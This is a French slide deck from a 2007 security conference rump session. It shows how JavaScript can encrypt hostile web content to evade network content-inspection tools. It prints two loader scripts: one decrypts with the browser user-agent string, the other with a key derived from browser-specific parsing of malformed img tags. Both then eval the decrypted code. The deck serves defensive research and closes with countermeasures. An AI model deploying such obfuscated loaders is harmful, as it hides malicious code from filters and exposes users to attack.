HERVÉ SCHAUER CONSULTANTS
Cabinet de Consultants en Sécurité Informatique
depuis 1989
Spécialisé sur Unix, Windows, TCP/IP et Internet

Chiffrement de contenu Web hostile over HTTP

SSTIC – Rump Session
31 mai 2007

Renaud Feil
<renaud.feil@hsc.fr>

Souviens-toi l'été dernier... à Rennes

- Présentation « Vulnérabilité des postes clients » :
  - Démonstration d'un outil d'attaque automatisée des applications clientes, en particulier le navigateur Web.
- Parmi les recommandations :
  - Inspection des pages Web HTTP avant leur entrée sur le réseau interne (IPS disposant d'un module d'inspection spécifique, ou autre outil comme http://search.finjan.com/search).
  - Restriction selon un mode liste blanche des sites accédés en HTTPS, car le chiffrement ne permet pas d'inspecter le contenu.

Quelle efficacité pour l'analyse de contenu Web ?

- Le Javascript permet de dissimuler le contenu Web pour échapper à l'inspection :
  - Démonstration dans MISC 28 : utilisation de la propriété **navigator.userAgent** pour déchiffrer un document HTML sur le client.

```
var key = navigator.userAgent;
var encryptedCode = new Array(177,222,221,222,217,209,207,163,99,165,162,137,156,188,145,149,
var decryptedCode = "";

for (i = 0; i < encryptedCode.length; i++) {
    decryptedCode += String.fromCharCode(encryptedCode[i] - key.charCodeAt(i % key.length));
}
try{
    eval(decryptedCode);
```

- Limite : Cette propriété pourrait être connue et utilisée par un outil d'analyse de contenu Web.

Les limites des outils d'analyse

- Utilisation d'une clé de déchiffrement connue du navigateur, mais pas de l'outil d'analyse de contenu Web :
  - Exemple : clé construite à partir de tests de parsing sur des balises HTML mal formées (dépend de l'implémentation du navigateur Web).

Balise HTML	IE 5-6-7	FF 2.0.x	FF 1.5.x	OP 8.53
<img/src="/test0001">	x	x		
<im\x00g src="/test0002">	x			
<img\x00src="/test0003">			x	
<img\x01src="/test0004">				
<img\x0Asrc="/test0005">	x	x	x	x
<im\x0Ag src="/test0006">				
<img"src="/test0007">				
<img dynsrc="/test0008">	x			
<img lowsrc="/test0009">	x			

Démonstration sur Firefox 2.0

Source de : file:///shared/developpement/publications/SSTIC2007_rump/demo/decrypt_parsing.htm - Iceweasel

Fichier Édition Affichage Aide

```
<html><head><title>SSTIC 2007 : chiffrement over HTTP</title>
<script>
var Key = 0;

function genKey(num) {
        Key += Math.pow(2, num);
}

function decrypt() {
        var encryptedCode = new Array(117,126,114,100,124,116,127,101,63,102,99,120,101,116,125,127,57,54,45,121,32,47,89,116,
        var decryptedCode = "";

        for (i = 0; i < encryptedCode.length; i++) {
                decryptedCode += String.fromCharCode(encryptedCode[i] ^ Key);
        }
        eval(decryptedCode);
}
</script></head>

<body onload="setTimeout('decrypt()', 2000)">
        <img/src="test1.bmp" onload="genKey(0)">
        <im@g src="test2.bmp" onload="genKey(1)">
        <img@src="test3.bmp" onload="genKey(2)">
        <img□□src="test4.bmp" onload="genKey(3)">
        <img
src="test5.bmp" onload="genKey(4)">
        <im
g src="test6.bmp" onload="genKey(5)">
        <img"src="test7.bmp" onload="genKey(6)">
        <img dynsrc="test8.bmp" onload="genKey(7)">

</body></html>
```

Solutions

- Pour l'utilisateur :
  - Extensions bloquant Javascript de façon sélective (ex : « NoScript »).
  - Mais fatiguant avec la multiplication des sites Web 2.0.
- Pour les équipements de filtrage de contenu Web :
  - Intégration du moteur de parsing des navigateurs ?
    - Mais augmentation des risques de compromission de l'analyseur de contenu en cas de vulnérabilité dans ces moteurs :-).
    - Et problème des flux synchrones : ils doivent être délivrés rapidement au client. Un attaquant peut créer une page Web qui récupère le contenu hostile lentement, après un certain délai, par petites parties, etc.
  - Déporter la détection des codes hostiles au plus proche du navigateur de l'utilisateur ?